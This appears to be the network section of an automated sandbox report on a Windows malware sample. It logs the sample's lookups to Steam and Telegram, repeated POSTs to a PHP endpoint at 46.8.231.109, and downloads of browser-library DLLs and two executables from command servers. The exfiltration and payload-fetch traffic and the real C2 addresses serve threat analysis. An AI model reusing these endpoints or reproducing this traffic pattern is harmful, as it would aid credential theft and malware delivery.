Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| t.me | 149.154.167.99 | |
| steamcommunity.com | 202.43.50.213 |
- TCP Requests
-
-
192.168.56.103:49184 104.74.170.104:443steamcommunity.com
-
192.168.56.103:49167 147.45.44.104:80
-
192.168.56.103:49180 149.154.167.99:443t.me
-
192.168.56.103:49181 149.154.167.99:443t.me
-
192.168.56.103:49182 149.154.167.99:443t.me
-
192.168.56.103:49164 46.8.231.109:80
-
192.168.56.103:49165 46.8.231.109:80
-
192.168.56.103:49185 78.47.207.136:443
-
192.168.56.103:49186 78.47.207.136:443
-
192.168.56.103:49187 78.47.207.136:443
-
GET
200
https://steamcommunity.com/profiles/76561199768374681
REQUEST
RESPONSE
BODY
GET /profiles/76561199768374681 HTTP/1.1
Host: steamcommunity.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=UTF-8
Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Date: Fri, 20 Sep 2024 01:53:20 GMT
Content-Length: 34730
Connection: keep-alive
Set-Cookie: sessionid=9eb209aa81fa10abcc132c4c; Path=/; Secure; SameSite=None
Set-Cookie: steamCountry=KR%7Cf412d3b2c2b6515b2cdce927ad7acf7b; Path=/; Secure; HttpOnly; SameSite=None
GET
200
http://46.8.231.109/
REQUEST
RESPONSE
BODY
GET / HTTP/1.1
Host: 46.8.231.109
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:52:53 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----ECBGHCGCBKFIECBFHIDG
Host: 46.8.231.109
Content-Length: 214
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:52:53 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 180
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAK
Host: 46.8.231.109
Content-Length: 268
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:52:54 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1520
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----EGHJKJKKJDHIDHJKJDBG
Host: 46.8.231.109
Content-Length: 267
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:52:54 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 7116
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBG
Host: 46.8.231.109
Content-Length: 268
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:52:54 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 108
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----EBGDHJECFCFCAKFHCFID
Host: 46.8.231.109
Content-Length: 4395
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:52:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
GET
200
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:52:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT
ETag: "10e436-5e7eeebed8d80"
Accept-Ranges: bytes
Content-Length: 1106998
Content-Type: application/x-msdos-program
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----BAECFCAAECBGDGDHIEHJ
Host: 46.8.231.109
Content-Length: 363
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:52:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
GET
200
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:01 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
ETag: "a7550-5e7ebd4425100"
Accept-Ranges: bytes
Content-Length: 685392
Content-Type: application/x-msdos-program
GET
200
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:03 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
ETag: "94750-5e7ebd4425100"
Accept-Ranges: bytes
Content-Length: 608080
Content-Type: application/x-msdos-program
GET
200
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:04 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
ETag: "6dde8-5e7ebd4425100"
Accept-Ranges: bytes
Content-Length: 450024
Content-Type: application/x-msdos-program
GET
200
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:05 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
ETag: "1f3950-5e7ebd4425100"
Accept-Ranges: bytes
Content-Length: 2046288
Content-Type: application/x-msdos-program
GET
200
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:07 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
ETag: "3ef50-5e7ebd4425100"
Accept-Ranges: bytes
Content-Length: 257872
Content-Type: application/x-msdos-program
GET
200
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:07 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
ETag: "13bf0-5e7ebd4425100"
Accept-Ranges: bytes
Content-Length: 80880
Content-Type: application/x-msdos-program
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKF
Host: 46.8.231.109
Content-Length: 943
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=93
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHD
Host: 46.8.231.109
Content-Length: 879
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----EBGDHJECFCFCAKFHCFID
Host: 46.8.231.109
Content-Length: 663
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=91
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----EGHJKJKKJDHIDHJKJDBG
Host: 46.8.231.109
Content-Length: 267
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2408
Keep-Alive: timeout=5, max=90
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFC
Host: 46.8.231.109
Content-Length: 265
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=89
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----JKECGHCFIJDAAKFHJJDH
Host: 46.8.231.109
Content-Length: 363
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:10 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=88
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----AAAAECGHCBGCBFHIIDHI
Host: 46.8.231.109
Content-Length: 1235
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:10 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=87
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI
Host: 46.8.231.109
Content-Length: 272
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:10 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 176
Keep-Alive: timeout=5, max=86
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
GET
200
http://147.45.44.104/prog/66ecb454d2b4a_lgfdsjgds.exe
REQUEST
RESPONSE
BODY
GET /prog/66ecb454d2b4a_lgfdsjgds.exe HTTP/1.1
Host: 147.45.44.104
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 20 Sep 2024 01:53:11 GMT
Content-Type: application/octet-stream
Content-Length: 363424
Last-Modified: Thu, 19 Sep 2024 23:31:32 GMT
Connection: keep-alive
Keep-Alive: timeout=120
ETag: "66ecb454-58ba0"
X-Content-Type-Options: nosniff
Accept-Ranges: bytes
GET
200
http://147.45.44.104/prog/66ecb44c35444_vfdhsgdf.exe
REQUEST
RESPONSE
BODY
GET /prog/66ecb44c35444_vfdhsgdf.exe HTTP/1.1
Host: 147.45.44.104
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 20 Sep 2024 01:53:13 GMT
Content-Type: application/octet-stream
Content-Length: 299936
Last-Modified: Thu, 19 Sep 2024 23:31:24 GMT
Connection: keep-alive
Keep-Alive: timeout=120
ETag: "66ecb44c-493a0"
X-Content-Type-Options: nosniff
Accept-Ranges: bytes
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIID
Host: 46.8.231.109
Content-Length: 272
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 01:53:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=85
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.103:49184 104.74.170.104:443 |
C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 Extended Validation Server CA | unknown=US, unknown=Washington, unknown=Private Organization, serialNumber=602 290 773, C=US, ST=Washington, L=Bellevue, O=Valve Corp, CN=store.steampowered.com | 10:20:2b:ee:30:69:cc:b6:ac:5e:47:04:71:ca:b0:75:78:51:58:f5 |
Snort Alerts
No Snort Alerts